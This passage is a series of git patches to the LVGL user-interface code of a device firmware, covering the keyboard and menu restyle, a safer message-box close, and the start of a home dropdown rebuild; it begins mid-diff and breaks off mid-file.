lv_obj_set_style_bg_grad_color(kb_obj, KB_BTN_GRAD, LV_PART_ITEMS); - lv_obj_set_style_bg_grad_dir(kb_obj, LV_GRAD_DIR_VER, LV_PART_ITEMS); + lv_obj_set_style_bg_color(kb_obj, current_theme.bg_secondary, LV_PART_ITEMS); + lv_obj_set_style_bg_grad_dir(kb_obj, LV_GRAD_DIR_NONE, LV_PART_ITEMS); lv_obj_set_style_bg_opa(kb_obj, LV_OPA_COVER, LV_PART_ITEMS); lv_obj_set_style_border_width(kb_obj, 1, LV_PART_ITEMS); lv_obj_set_style_border_color(kb_obj, KB_BTN_BORDER, LV_PART_ITEMS); - lv_obj_set_style_radius(kb_obj, 8, LV_PART_ITEMS); + lv_obj_set_style_radius(kb_obj, 6, LV_PART_ITEMS); lv_obj_set_style_text_color(kb_obj, current_theme.text_main, LV_PART_ITEMS); - lv_obj_set_style_text_font(kb_obj, &lv_font_montserrat_12, LV_PART_ITEMS); + lv_obj_set_style_text_font(kb_obj, &lv_font_montserrat_16, LV_PART_ITEMS); - lv_obj_set_style_bg_color(kb_obj, KB_BTN_FOCUS, LV_PART_ITEMS | LV_STATE_FOCUS_KEY); - lv_obj_set_style_bg_grad_color( + lv_obj_set_style_bg_color( kb_obj, current_theme.border_accent, LV_PART_ITEMS | LV_STATE_FOCUS_KEY); - lv_obj_set_style_bg_grad_dir(kb_obj, LV_GRAD_DIR_VER, LV_PART_ITEMS | LV_STATE_FOCUS_KEY); + lv_obj_set_style_bg_grad_dir(kb_obj, LV_GRAD_DIR_NONE, LV_PART_ITEMS | LV_STATE_FOCUS_KEY); lv_obj_set_style_border_color( kb_obj, current_theme.border_accent, LV_PART_ITEMS | LV_STATE_FOCUS_KEY); lv_obj_set_style_border_width(kb_obj, 2, LV_PART_ITEMS | LV_STATE_FOCUS_KEY); @@ -192,6 +189,10 @@ void keyboard_open(lv_obj_t *target_textarea, keyboard_submit_cb_t cb, void *use } } +bool keyboard_is_open(void) { + return kb_screen != NULL; +} + void keyboard_close(void) { if (kb_screen) { if (main_group) { From 87df3fd0f78426d48bc61a1c9a673705d2018aad Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 11:42:01 -0300 Subject: [PATCH 104/572] feat(ui): redesign menu_component with sections, hints and scrollbar --- .../include/menu_component_ui.h | 32 ++- .../menu_component/menu_component_ui.c | 266 ++++++++++++------ 2 files changed, 213 insertions(+), 85 deletions(-) diff --git a/firmware_p4/components/Applications/ui/components/menu_component/include/menu_component_ui.h b/firmware_p4/components/Applications/ui/components/menu_component/include/menu_component_ui.h index b06ba18a4..d13c7b4f8 100644 --- a/firmware_p4/components/Applications/ui/components/menu_component/include/menu_component_ui.h +++ b/firmware_p4/components/Applications/ui/components/menu_component/include/menu_component_ui.h @@ -25,15 +25,25 @@ extern "C" { #include "toggle_ui.h" #include "intensity_bar_ui.h" -#define MENU_COMP_MAX_ITEMS 12 +/** @brief Maximum number of items a menu can hold. */ +#define MENU_COMP_MAX_ITEMS 20 +/** @brief Height in px of the persistent action/hint footer drawn at the bottom of every menu. */ +#define MENU_COMP_FOOTER_H 22 + +/** + * @brief State and widget handles for a full menu screen. + */ typedef struct { lv_obj_t *screen; lv_obj_t *title_bar; lv_obj_t *title_label; lv_obj_t *items_cont; lv_obj_t *items[MENU_COMP_MAX_ITEMS]; + lv_obj_t *scroll_track; lv_obj_t *scroll_bar; + lv_obj_t *footer; ///< persistent action/hint bar at the bottom + lv_obj_t *hint_label; ///< centered text inside the footer lv_obj_t *sel_dots[MENU_COMP_MAX_ITEMS]; lv_obj_t *val_labels[MENU_COMP_MAX_ITEMS]; toggle_ui_t toggles[MENU_COMP_MAX_ITEMS]; @@ -53,6 +63,13 @@ menu_component_create(lv_obj_t *parent, const char *title, const char *title_ico /** @brief Add a menu item. Returns the item object for customization. */ lv_obj_t *menu_component_add_item(menu_component_t *menu, const char *icon_path, const char *label); +/** + * @brief Add a centered, non-selectable group header (e.g. "Sound & Vibration") + * into the list. Navigation skips it; it just visually groups the items + * added after it. Call it before the items that belong to the group. + */ +void menu_component_add_section(menu_component_t *menu, const char *title); + /** @brief Add a selector item with left/right value navigation. */ lv_obj_t *menu_component_add_selector(menu_component_t *menu, const char *icon_path, @@ -104,6 +121,19 @@ void menu_component_prev(menu_component_t *menu); /** @brief Get the currently selected menu item index. */ int menu_component_get_selected(menu_component_t *menu); +/** + * @brief Recolour the label text of a specific menu item. Used by the + * Wi-Fi scan screen to render scanned SSIDs in green so they + * read as "captured" rather than just menu rows. + */ +void menu_component_set_item_label_color(menu_component_t *menu, int index, lv_color_t color); + +/** + * @brief Override the footer hint text (e.g. "LEFT/RIGHT change OK toggle"). + * The component shows a sensible default; call this to specialize it. + */ +void menu_component_set_hint(menu_component_t *menu, const char *text); + #ifdef __cplusplus } #endif diff --git a/firmware_p4/components/Applications/ui/components/menu_component/menu_component_ui.c b/firmware_p4/components/Applications/ui/components/menu_component/menu_component_ui.c index 246af12a7..d660b4048 100644 --- a/firmware_p4/components/Applications/ui/components/menu_component/menu_component_ui.c +++ b/firmware_p4/components/Applications/ui/components/menu_component/menu_component_ui.c @@ -19,35 +19,91 @@ #include "st7789.h" #include "assets_manager.h" +#include "ui_feedback.h" #include "ui_theme.h" -#define BORDER_COLOR current_theme.border_interface -#define ITEM_BORDER current_theme.border_accent -#define GRAD_LEFT current_theme.bg_primary -#define GRAD_RIGHT current_theme.bg_secondary -#define SEL_BORDER current_theme.border_accent -#define SEL_DOT_COLOR current_theme.border_accent - -#define TITLE_W 170 -#define TITLE_H 30 -#define ITEM_W 210 -#define ITEM_H 47 -#define OUTER_BORDER 4 -#define TOP_BORDER_H (TITLE_H + 16) -#define SEL_DOT_SIZE 8 +#define HEADER_BG current_theme.bg_secondary +#define HEADER_LINE current_theme.border_accent +#define FOOTER_LINE current_theme.border_interface +#define TITLE_COLOR current_theme.border_accent +#define ITEM_BG current_theme.bg_secondary +#define ITEM_BORDER current_theme.border_inactive +#define SEL_BORDER current_theme.border_accent + +#define HEADER_H 42 +#define FOOTER_H MENU_COMP_FOOTER_H +#define ITEM_H 44 +#define ITEM_GAP 6 +#define ICON_CELL 26 +#define LEFT_MARGIN 6 +#define RIGHT_GUTTER 16 +#define ITEMS_Y (HEADER_H + 4) +#define OUTER_BORDER 4 +#define THUMB_FALLBACK_H 45 +#define SCROLL_ANIM_MS 200 +#define OVERFLOW_SLOP_PX 2 + +#define DEFAULT_HINT \ + LV_SYMBOL_UP LV_SYMBOL_DOWN " Nav " LV_SYMBOL_OK " OK " LV_SYMBOL_LEFT " Back" static lv_font_t *menu_font = NULL; +static lv_obj_t *make_icon(lv_obj_t *parent, const char *icon_path) { + if (!icon_path) + return NULL; + lv_image_dsc_t *dsc = assets_get(icon_path); + if (!dsc) + return NULL; + lv_obj_t *img = lv_image_create(parent); + lv_image_set_src(img, dsc); + lv_obj_set_size(img, ICON_CELL, ICON_CELL); + lv_image_set_inner_align(img, LV_IMAGE_ALIGN_CONTAIN); + return img; +} + +static bool list_overflows(menu_component_t *m) { + if (!m || !m->items_cont) + return false; + lv_obj_update_layout(m->items_cont); + int32_t st = lv_obj_get_scroll_top(m->items_cont); + int32_t sb = lv_obj_get_scroll_bottom(m->items_cont); + return (st + sb) > OVERFLOW_SLOP_PX; +} + +static void update_scroll_state(menu_component_t *m) { + if (!m || !m->items_cont) + return; + bool overflow = list_overflows(m); + if (m->scroll_track) + lv_obj_remove_flag(m->scroll_track, LV_OBJ_FLAG_HIDDEN); + if (m->scroll_bar) + lv_obj_remove_flag(m->scroll_bar, LV_OBJ_FLAG_HIDDEN); + if (overflow) { + lv_obj_add_flag(m->items_cont, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_scroll_snap_y(m->items_cont, LV_SCROLL_SNAP_NONE); + } else { + lv_obj_remove_flag(m->items_cont, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_scroll_snap_y(m->items_cont, LV_SCROLL_SNAP_NONE); + lv_obj_scroll_to_y(m->items_cont, 0, LV_ANIM_OFF); + } +} + static void update_scroll_bar(menu_component_t *m) { if (!m->scroll_bar || m->item_count <= 1) return; - int32_t pos = m->track_y_start + (m->selected * (m->track_h - 20)) / (m->item_count - 1); + int32_t thumb_h = lv_obj_get_height(m->scroll_bar); + if (thumb_h <= 0) + thumb_h = THUMB_FALLBACK_H; + int32_t travel = m->track_h - thumb_h; + if (travel < 0) + travel = 0; + int32_t pos = m->track_y_start + (m->selected * travel) / (m->item_count - 1); lv_anim_t a; lv_anim_init(&a); lv_anim_set_var(&a, m->scroll_bar); lv_anim_set_values(&a, lv_obj_get_y(m->scroll_bar), pos); - lv_anim_set_duration(&a, 200); + lv_anim_set_duration(&a, SCROLL_ANIM_MS); lv_anim_set_path_cb(&a, lv_anim_path_ease_in_out); lv_anim_set_exec_cb(&a, (lv_anim_exec_xcb_t)lv_obj_set_y); lv_anim_start(&a); @@ -57,7 +113,6 @@ static void update_selection(menu_component_t *m) { for (int i = 0; i < m->item_count; i++) { if (i == m->selected) { lv_obj_set_style_border_color(m->items[i], SEL_BORDER, 0); - lv_obj_set_style_border_width(m->items[i], 3, 0); bool has_widget = m->has_toggle[i] || m->has_intensity[i] || m->val_labels[i]; if (m->sel_dots[i]) { if (has_widget) @@ -67,13 +122,12 @@ static void update_selection(menu_component_t *m) { } } else { lv_obj_set_style_border_color(m->items[i], ITEM_BORDER, 0); - lv_obj_set_style_border_width(m->items[i], 1, 0); if (m->sel_dots[i]) lv_obj_add_flag(m->sel_dots[i], LV_OBJ_FLAG_HIDDEN); } } - if (m->items[m->selected]) { + if (m->items[m->selected] && list_overflows(m)) { lv_obj_scroll_to_view(m->items[m->selected], LV_ANIM_ON); } @@ -95,68 +149,55 @@ menu_component_create(lv_obj_t *parent, const char *title, const char *title_ico lv_obj_set_style_bg_color(m.screen, current_theme.screen_base, 0); lv_obj_set_style_bg_opa(m.screen, LV_OPA_COVER, 0); lv_obj_set_style_pad_all(m.screen, 0, 0); - - lv_obj_set_style_border_width(m.screen, OUTER_BORDER, 0); - lv_obj_set_style_border_color(m.screen, BORDER_COLOR, 0); + lv_obj_set_style_border_width(m.screen, 0, 0); lv_obj_set_style_radius(m.screen, 0, 0); - lv_obj_t *top_area = lv_obj_create(m.screen); - lv_obj_set_size(top_area, LCD_H_RES - OUTER_BORDER * 2, TOP_BORDER_H); - lv_obj_align(top_area, LV_ALIGN_TOP_MID, 0, 0); - lv_obj_remove_flag(top_area, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_style_bg_opa(top_area, LV_OPA_TRANSP, 0); - lv_obj_set_style_border_width(top_area, 3, 0); - lv_obj_set_style_border_color(top_area, BORDER_COLOR, 0); - lv_obj_set_style_border_side(top_area, LV_BORDER_SIDE_BOTTOM, 0); - lv_obj_set_style_radius(top_area, 0, 0); - lv_obj_set_style_pad_all(top_area, 0, 0); - - m.title_bar = lv_obj_create(top_area); - lv_obj_set_size(m.title_bar, TITLE_W, TITLE_H); - lv_obj_align(m.title_bar, LV_ALIGN_CENTER, 0, 0); + m.title_bar = lv_obj_create(m.screen); + lv_obj_set_size(m.title_bar, LCD_H_RES, HEADER_H); + lv_obj_align(m.title_bar, LV_ALIGN_TOP_LEFT, 0, 0); lv_obj_remove_flag(m.title_bar, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_style_radius(m.title_bar, 12, 0); + lv_obj_remove_flag(m.title_bar, LV_OBJ_FLAG_CLICKABLE); + lv_obj_set_style_bg_color(m.title_bar, HEADER_BG, 0); lv_obj_set_style_bg_opa(m.title_bar, LV_OPA_COVER, 0); - lv_obj_set_style_bg_color(m.title_bar, GRAD_LEFT, 0); - lv_obj_set_style_bg_grad_color(m.title_bar, GRAD_RIGHT, 0); - lv_obj_set_style_bg_grad_dir(m.title_bar, LV_GRAD_DIR_HOR, 0); - lv_obj_set_style_border_width(m.title_bar, 2, 0); - lv_obj_set_style_border_color(m.title_bar, ITEM_BORDER, 0); + lv_obj_set_style_bg_grad_dir(m.title_bar, LV_GRAD_DIR_NONE, 0); + lv_obj_set_style_radius(m.title_bar, 0, 0); lv_obj_set_style_pad_all(m.title_bar, 0, 0); + lv_obj_set_style_border_width(m.title_bar, 2, 0); + lv_obj_set_style_border_color(m.title_bar, HEADER_LINE, 0); + lv_obj_set_style_border_side(m.title_bar, LV_BORDER_SIDE_BOTTOM, 0); if (title_icon_path) { - lv_image_dsc_t *ti_dsc = assets_get(title_icon_path); - if (ti_dsc) { - lv_obj_t *ti = lv_image_create(m.title_bar); - lv_image_set_src(ti, ti_dsc); - lv_obj_add_flag(ti, LV_OBJ_FLAG_FLOATING); - lv_obj_align(ti, LV_ALIGN_LEFT_MID, 4, 0); - } + lv_obj_t *ic = make_icon(m.title_bar, title_icon_path); + if (ic) + lv_obj_align(ic, LV_ALIGN_LEFT_MID, 8, 0); } m.title_label = lv_label_create(m.title_bar); lv_label_set_text(m.title_label, title ? title : ""); - lv_obj_set_style_text_color(m.title_label, current_theme.text_main, 0); + lv_obj_set_style_text_color(m.title_label, TITLE_COLOR, 0); lv_obj_set_style_text_font(m.title_label, menu_font ? menu_font : &lv_font_montserrat_14, 0); - lv_obj_center(m.title_label); + lv_obj_align(m.title_label, LV_ALIGN_CENTER, 0, 0); - int items_y = TOP_BORDER_H + 4; - int items_h = LCD_V_RES - items_y - OUTER_BORDER - 4; + int items_h = LCD_V_RES - ITEMS_Y - FOOTER_H - 4; + if (items_h < ITEM_H) + items_h = ITEM_H; m.items_cont = lv_obj_create(m.screen); - lv_obj_set_size(m.items_cont, ITEM_W + 8, items_h); - lv_obj_align(m.items_cont, LV_ALIGN_TOP_LEFT, 4, items_y); + lv_obj_set_size(m.items_cont, LCD_H_RES - LEFT_MARGIN - RIGHT_GUTTER, items_h); + lv_obj_align(m.items_cont, LV_ALIGN_TOP_LEFT, LEFT_MARGIN, ITEMS_Y); lv_obj_set_style_bg_opa(m.items_cont, LV_OPA_TRANSP, 0); lv_obj_set_style_border_width(m.items_cont, 0, 0); lv_obj_set_style_pad_all(m.items_cont, 2, 0); - lv_obj_set_style_pad_row(m.items_cont, 6, 0); + lv_obj_set_style_pad_row(m.items_cont, ITEM_GAP, 0); lv_obj_set_flex_flow(m.items_cont, LV_FLEX_FLOW_COLUMN); lv_obj_set_scrollbar_mode(m.items_cont, LV_SCROLLBAR_MODE_OFF); - lv_obj_set_scroll_snap_y(m.items_cont, LV_SCROLL_SNAP_START); + lv_obj_set_scroll_snap_y(m.items_cont, LV_SCROLL_SNAP_NONE); int track_x = LCD_H_RES - OUTER_BORDER - 9; - m.track_y_start = items_y + 10; - m.track_h = items_h - 20; + m.track_y_start = ITEMS_Y + 8; + m.track_h = items_h - 16; + if (m.track_h < 0) + m.track_h = 0; static lv_point_precise_t track_pts[2]; track_pts[0].x = 0; @@ -164,14 +205,14 @@ menu_component_create(lv_obj_t *parent, const char *title, const char *title_ico track_pts[1].x = 0; track_pts[1].y = m.track_h; - lv_obj_t *track = lv_line_create(m.screen); - lv_line_set_points(track, track_pts, 2); - lv_obj_set_pos(track, track_x, m.track_y_start); - lv_obj_set_style_line_color(track, current_theme.border_inactive, 0); - lv_obj_set_style_line_opa(track, LV_OPA_COVER, 0); - lv_obj_set_style_line_width(track, 3, 0); - lv_obj_set_style_line_dash_width(track, 4, 0); - lv_obj_set_style_line_dash_gap(track, 4, 0); + m.scroll_track = lv_line_create(m.screen); + lv_line_set_points(m.scroll_track, track_pts, 2); + lv_obj_set_pos(m.scroll_track, track_x, m.track_y_start); + lv_obj_set_style_line_color(m.scroll_track, current_theme.border_inactive, 0); + lv_obj_set_style_line_opa(m.scroll_track, LV_OPA_COVER, 0); + lv_obj_set_style_line_width(m.scroll_track, 3, 0); + lv_obj_set_style_line_dash_width(m.scroll_track, 4, 0); + lv_obj_set_style_line_dash_gap(m.scroll_track, 4, 0); static lv_image_dsc_t *slide_bar_v_dsc = NULL; if (!slide_bar_v_dsc) @@ -183,6 +224,27 @@ menu_component_create(lv_obj_t *parent, const char *title, const char *title_ico lv_obj_set_pos(m.scroll_bar, track_x - 4, m.track_y_start); lv_obj_move_foreground(m.scroll_bar); + m.footer = lv_obj_create(m.screen); + lv_obj_set_size(m.footer, LCD_H_RES, FOOTER_H); + lv_obj_align(m.footer, LV_ALIGN_BOTTOM_LEFT, 0, 0); + lv_obj_remove_flag(m.footer, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(m.footer, LV_OBJ_FLAG_CLICKABLE); + lv_obj_set_style_bg_color(m.footer, HEADER_BG, 0); + lv_obj_set_style_bg_opa(m.footer, LV_OPA_COVER, 0); + lv_obj_set_style_radius(m.footer, 0, 0); + lv_obj_set_style_pad_all(m.footer, 0, 0); + lv_obj_set_style_border_width(m.footer, 2, 0); + lv_obj_set_style_border_color(m.footer, FOOTER_LINE, 0); + lv_obj_set_style_border_side(m.footer, LV_BORDER_SIDE_TOP, 0); + + m.hint_label = lv_label_create(m.footer); + lv_label_set_text(m.hint_label, DEFAULT_HINT); + lv_obj_set_style_text_color(m.hint_label, current_theme.text_main, 0); + lv_obj_set_style_text_opa(m.hint_label, LV_OPA_70, 0); + lv_obj_set_style_text_font(m.hint_label, &lv_font_montserrat_12, 0); + lv_obj_center(m.hint_label); + lv_obj_move_foreground(m.footer); + m.item_count = 0; m.selected = 0; @@ -195,28 +257,22 @@ menu_component_add_item(menu_component_t *menu, const char *icon_path, const cha return NULL; lv_obj_t *item = lv_obj_create(menu->items_cont); - lv_obj_set_size(item, ITEM_W, ITEM_H); + lv_obj_set_width(item, lv_pct(100)); + lv_obj_set_height(item, ITEM_H); lv_obj_remove_flag(item, LV_OBJ_FLAG_SCROLLABLE); lv_obj_set_style_radius(item, 10, 0); lv_obj_set_style_bg_opa(item, LV_OPA_COVER, 0); - lv_obj_set_style_bg_color(item, GRAD_LEFT, 0); - lv_obj_set_style_bg_grad_color(item, GRAD_RIGHT, 0); - lv_obj_set_style_bg_grad_dir(item, LV_GRAD_DIR_HOR, 0); - lv_obj_set_style_border_width(item, 1, 0); + lv_obj_set_style_bg_color(item, ITEM_BG, 0); + lv_obj_set_style_bg_grad_dir(item, LV_GRAD_DIR_NONE, 0); + lv_obj_set_style_border_width(item, 2, 0); lv_obj_set_style_border_color(item, ITEM_BORDER, 0); - lv_obj_set_style_pad_left(item, 3, 0); - lv_obj_set_style_pad_right(item, 6, 0); + lv_obj_set_style_pad_left(item, 6, 0); + lv_obj_set_style_pad_right(item, 8, 0); lv_obj_set_flex_flow(item, LV_FLEX_FLOW_ROW); lv_obj_set_flex_align(item, LV_FLEX_ALIGN_START, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); - lv_obj_set_style_pad_column(item, 2, 0); + lv_obj_set_style_pad_column(item, 8, 0); - if (icon_path) { - lv_image_dsc_t *icon_dsc = assets_get(icon_path); - if (icon_dsc) { - lv_obj_t *icon = lv_image_create(item); - lv_image_set_src(icon, icon_dsc); - } - } + make_icon(item, icon_path); lv_obj_t *lbl = lv_label_create(item); lv_label_set_text(lbl, label ? label : ""); @@ -244,11 +300,12 @@ menu_component_add_item(menu_component_t *menu, const char *icon_path, const cha menu->item_count++; if (idx == menu->selected) { - lv_obj_set_style_border_width(item, 3, 0); lv_obj_set_style_border_color(item, SEL_BORDER, 0); lv_obj_remove_flag(ptr, LV_OBJ_FLAG_HIDDEN); } + update_scroll_state(menu); + return item; } @@ -258,7 +315,7 @@ lv_obj_t *menu_component_add_selector(menu_component_t *menu, const char *initial_value) { if (!menu || menu->item_count >= MENU_COMP_MAX_ITEMS) return NULL; - int idx = menu->item_count; /* peek before add_item increments */ + int idx = menu->item_count; lv_obj_t *item = menu_component_add_item(menu, icon_path, label); if (!item) @@ -273,6 +330,7 @@ lv_obj_t *menu_component_add_selector(menu_component_t *menu, lv_obj_align(val, LV_ALIGN_RIGHT_MID, -6, 0); menu->val_labels[idx] = val; + lv_obj_add_flag(menu->sel_dots[idx], LV_OBJ_FLAG_HIDDEN); return item; } @@ -301,6 +359,7 @@ lv_obj_t *menu_component_add_toggle(menu_component_t *menu, lv_obj_align(menu->toggles[idx].obj, LV_ALIGN_RIGHT_MID, -6, 0); toggle_ui_set(&menu->toggles[idx], initial_state); menu->has_toggle[idx] = true; + lv_obj_add_flag(menu->sel_dots[idx], LV_OBJ_FLAG_HIDDEN); return item; } @@ -340,6 +399,7 @@ lv_obj_t *menu_component_add_intensity(menu_component_t *menu, lv_obj_align(menu->intensities[idx].obj, LV_ALIGN_RIGHT_MID, -6, 0); intensity_bar_set(&menu->intensities[idx], initial_level); menu->has_intensity[idx] = true; + lv_obj_add_flag(menu->sel_dots[idx], LV_OBJ_FLAG_HIDDEN); return item; } @@ -374,6 +434,7 @@ void menu_component_next(menu_component_t *menu) { return; menu->selected = (menu->selected + 1) % menu->item_count; update_selection(menu); + ui_feedback(UI_FB_NAV); } void menu_component_prev(menu_component_t *menu) { @@ -381,8 +442,45 @@ void menu_component_prev(menu_component_t *menu) { return; menu->selected = (menu->selected == 0) ? menu->item_count - 1 : menu->selected - 1; update_selection(menu); + ui_feedback(UI_FB_NAV); } int menu_component_get_selected(menu_component_t *menu) { return menu ? menu->selected : -1; } + +void menu_component_set_item_label_color(menu_component_t *menu, int index, lv_color_t color) { + if (!menu || index < 0 || index >= menu->item_count) + return; + lv_obj_t *item = menu->items[index]; + if (!item) + return; + uint32_t n = lv_obj_get_child_count(item); + for (uint32_t i = 0; i < n; i++) { + lv_obj_t *child = lv_obj_get_child(item, i); + if (lv_obj_check_type(child, &lv_label_class)) { + lv_obj_set_style_text_color(child, color, 0); + return; + } + } +} + +void menu_component_set_hint(menu_component_t *menu, const char *text) { + if (!menu || !menu->hint_label) + return; + lv_label_set_text(menu->hint_label, text ? text : ""); +} + +void menu_component_add_section(menu_component_t *menu, const char *title) { + if (!menu || !menu->items_cont) + return; + lv_obj_t *sec = lv_label_create(menu->items_cont); + lv_label_set_text(sec, title ? title : ""); + lv_obj_set_width(sec, lv_pct(100)); + lv_obj_set_style_text_align(sec, LV_TEXT_ALIGN_CENTER, 0); + lv_obj_set_style_text_color(sec, current_theme.border_accent, 0); + lv_obj_set_style_text_opa(sec, LV_OPA_60, 0); + lv_obj_set_style_text_font(sec, &lv_font_montserrat_12, 0); + lv_obj_set_style_pad_top(sec, 6, 0); + lv_obj_set_style_pad_bottom(sec, 1, 0); +} From 83d2a2ff95f0d09eff9a57036fa4b808aaae0c5f Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 11:42:19 -0300 Subject: [PATCH 105/572] fix(ui): harden msgbox close against re-entrancy and screen teardown --- .../ui/components/message_box/msgbox_ui.c | 72 +++++++++++++------ 1 file changed, 52 insertions(+), 20 deletions(-) diff --git a/firmware_p4/components/Applications/ui/components/message_box/msgbox_ui.c b/firmware_p4/components/Applications/ui/components/message_box/msgbox_ui.c index 167dfe678..66801a6cd 100644 --- a/firmware_p4/components/Applications/ui/components/message_box/msgbox_ui.c +++ b/firmware_p4/components/Applications/ui/components/message_box/msgbox_ui.c @@ -21,13 +21,14 @@ #include "buttons_gpio.h" #include "ui_theme.h" -#define MSGBOX_H ((LCD_V_RES * 45) / 100) -#define ANIM_TIME 300 -#define BORDER_COLOR current_theme.border_accent -#define GRAD_TOP current_theme.border_interface -#define GRAD_BOT current_theme.bg_secondary -#define BTN_W 80 -#define BTN_H 28 +#define MSGBOX_H ((LCD_V_RES * 45) / 100) +#define ANIM_TIME 300 +#define BORDER_COLOR current_theme.border_accent +#define GRAD_TOP current_theme.border_interface +#define GRAD_BOT current_theme.bg_secondary +#define BTN_W 80 +#define BTN_H 28 +#define MSGBOX_POLL_MS 50 static lv_obj_t *panel = NULL; static lv_obj_t *btn_objs[2] = {NULL}; @@ -61,37 +62,67 @@ static void slide_anim_cb(void *var, int32_t val) { lv_obj_set_y((lv_obj_t *)var, val); } -static void close_anim_done(lv_anim_t *a) { - if (panel) { - lv_obj_del(panel); - panel = NULL; - } +static void close_anim_del_cb(lv_anim_t *a) { + lv_obj_del((lv_obj_t *)a->var); +} + +static void panel_deleted_cb(lv_event_t *e) { + (void)e; + panel = NULL; btn_objs[0] = btn_objs[1] = NULL; btn_count = 0; + current_cb = NULL; + if (msgbox_timer) { + lv_timer_delete(msgbox_timer); + msgbox_timer = NULL; + } } static void do_close(bool confirm) { if (!panel) return; - if (current_cb) - current_cb(confirm); + lv_obj_t *closing = panel; + msgbox_cb_t cb = current_cb; + panel = NULL; current_cb = NULL; - + btn_objs[0] = btn_objs[1] = NULL; + btn_count = 0; if (msgbox_timer) { lv_timer_delete(msgbox_timer); msgbox_timer = NULL; } + lv_obj_remove_event_cb(closing, panel_deleted_cb); lv_anim_t a; lv_anim_init(&a); - lv_anim_set_var(&a, panel); - lv_anim_set_values(&a, lv_obj_get_y(panel), LCD_V_RES); + lv_anim_set_var(&a, closing); + lv_anim_set_values(&a, lv_obj_get_y(closing), LCD_V_RES); lv_anim_set_duration(&a, ANIM_TIME); lv_anim_set_path_cb(&a, lv_anim_path_ease_in_out); lv_anim_set_exec_cb(&a, slide_anim_cb); - lv_anim_set_completed_cb(&a, close_anim_done); + lv_anim_set_completed_cb(&a, close_anim_del_cb); lv_anim_start(&a); + + if (cb) + cb(confirm); +} + +static void discard_panel_silent(void) { + if (!panel) + return; + lv_obj_t *p = panel; + panel = NULL; + current_cb = NULL; + btn_objs[0] = btn_objs[1] = NULL; + btn_count = 0; + if (msgbox_timer) { + lv_timer_delete(msgbox_timer); + msgbox_timer = NULL; + } + lv_obj_remove_event_cb(p, panel_deleted_cb); + lv_anim_delete(p, NULL); + lv_obj_del(p); } static void msgbox_timer_cb(lv_timer_t *t) { @@ -162,7 +193,7 @@ static lv_obj_t *create_btn(lv_obj_t *parent, const char *text) { void msgbox_open( const char *icon, const char *msg, const char *btn_ok, const char *btn_cancel, msgbox_cb_t cb) { if (panel) - msgbox_close(); + discard_panel_silent(); current_cb = cb; input_locked = true; @@ -174,6 +205,7 @@ void msgbox_open( lv_obj_set_size(panel, LCD_H_RES, MSGBOX_H); lv_obj_set_pos(panel, 0, LCD_V_RES); lv_obj_remove_flag(panel, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_add_event_cb(panel, panel_deleted_cb, LV_EVENT_DELETE, NULL); lv_obj_set_style_radius(panel, 12, 0); lv_obj_set_style_border_side( @@ -252,7 +284,7 @@ void msgbox_open( lv_anim_start(&a); if (!msgbox_timer) - msgbox_timer = lv_timer_create(msgbox_timer_cb, 50, NULL); + msgbox_timer = lv_timer_create(msgbox_timer_cb, MSGBOX_POLL_MS, NULL); } void msgbox_close(void) { From 9a9350086e08db0d4293a9a11a4c102853507eaa Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 11:42:31 -0300 Subject: [PATCH 106/572] feat(ui): rebuild home dropdown as status and controls panel --- .../ui/components/dropdown/dropdown_ui.c | 791 +++++++++--------- 1 file changed, 374 insertions(+), 417 deletions(-) diff --git a/firmware_p4/components/Applications/ui/components/dropdown/dropdown_ui.c b/firmware_p4/components/Applications/ui/components/dropdown/dropdown_ui.c index e373f445a..c9215159a 100644 --- a/firmware_p4/components/Applications/ui/components/dropdown/dropdown_ui.c +++ b/firmware_p4/components/Applications/ui/components/dropdown/dropdown_ui.c @@ -19,131 +19,110 @@ #include "assets_manager.h" #include "buttons_gpio.h" -#include "page_dots_ui.h" -#include "toggle_ui.h" #include "ui_theme.h" -#define DROPDOWN_HEIGHT_P0 ((LCD_V_RES * 85) / 100) -#define DROPDOWN_HEIGHT_P1 ((LCD_V_RES * 50) / 100) -#define DROPDOWN_HEIGHT DROPDOWN_HEIGHT_P0 -#define SEL_ITEMS 5 -#define BORDER_SEL_COLOR current_theme.border_accent - -static const int page_heights[] = {DROPDOWN_HEIGHT_P0, DROPDOWN_HEIGHT_P1}; +#define GREEN 0x00E676 +#define CHIP_BG current_theme.screen_base +#define PANEL_BG current_theme.bg_secondary +#define SL_STEP 10 + +#define SLIDE_ANIM_MS 300 +#define SLIDE_BTN_POLL_MS 50 +#define SLIDER_MIN_FILL_PCT 3 + +#define ROW_BADGES 0 +#define ROW_BRIGHT 1 +#define ROW_SOUND 2 +#define ROW_COUNT 3 +static int focus_row = ROW_BADGES; + +#define BADGE_COUNT 4 +static const bool BADGE_TOGGLEABLE[BADGE_COUNT] = {true, true, false, false}; +static lv_obj_t *badge_dot[BADGE_COUNT] = {NULL}; +static lv_obj_t *badge_ic[BADGE_COUNT] = {NULL}; +static lv_obj_t *badge_lbl[BADGE_COUNT] = {NULL}; +static bool badge_on[BADGE_COUNT] = {true, true, true, true}; +static int badge_sel = 0; + +#define SLIDER_COUNT 2 +static lv_obj_t *sl_track[SLIDER_COUNT] = {NULL}; +static lv_obj_t *sl_fill[SLIDER_COUNT] = {NULL}; +static lv_obj_t *sl_knob[SLIDER_COUNT] = {NULL}; +static lv_obj_t *sl_icon[SLIDER_COUNT] = {NULL}; +static lv_obj_t *sl_val[SLIDER_COUNT] = {NULL}; +static int sl_value[SLIDER_COUNT] = {80, 45}; static lv_obj_t *slide_panel = NULL; -static lv_obj_t *slide_bar_obj = NULL; -static page_dots_t pg_dots; -static int current_page = 0; -#define DROPDOWN_PAGES 2 -static lv_obj_t *page_containers[DROPDOWN_PAGES] = {NULL}; +static int s_panel_h = 0; static bool slide_open = false; static bool slide_animating = false; static lv_obj_t **hide_objs_ref = NULL; static int hide_objs_count = 0; -static lv_obj_t *sel_items[SEL_ITEMS] = 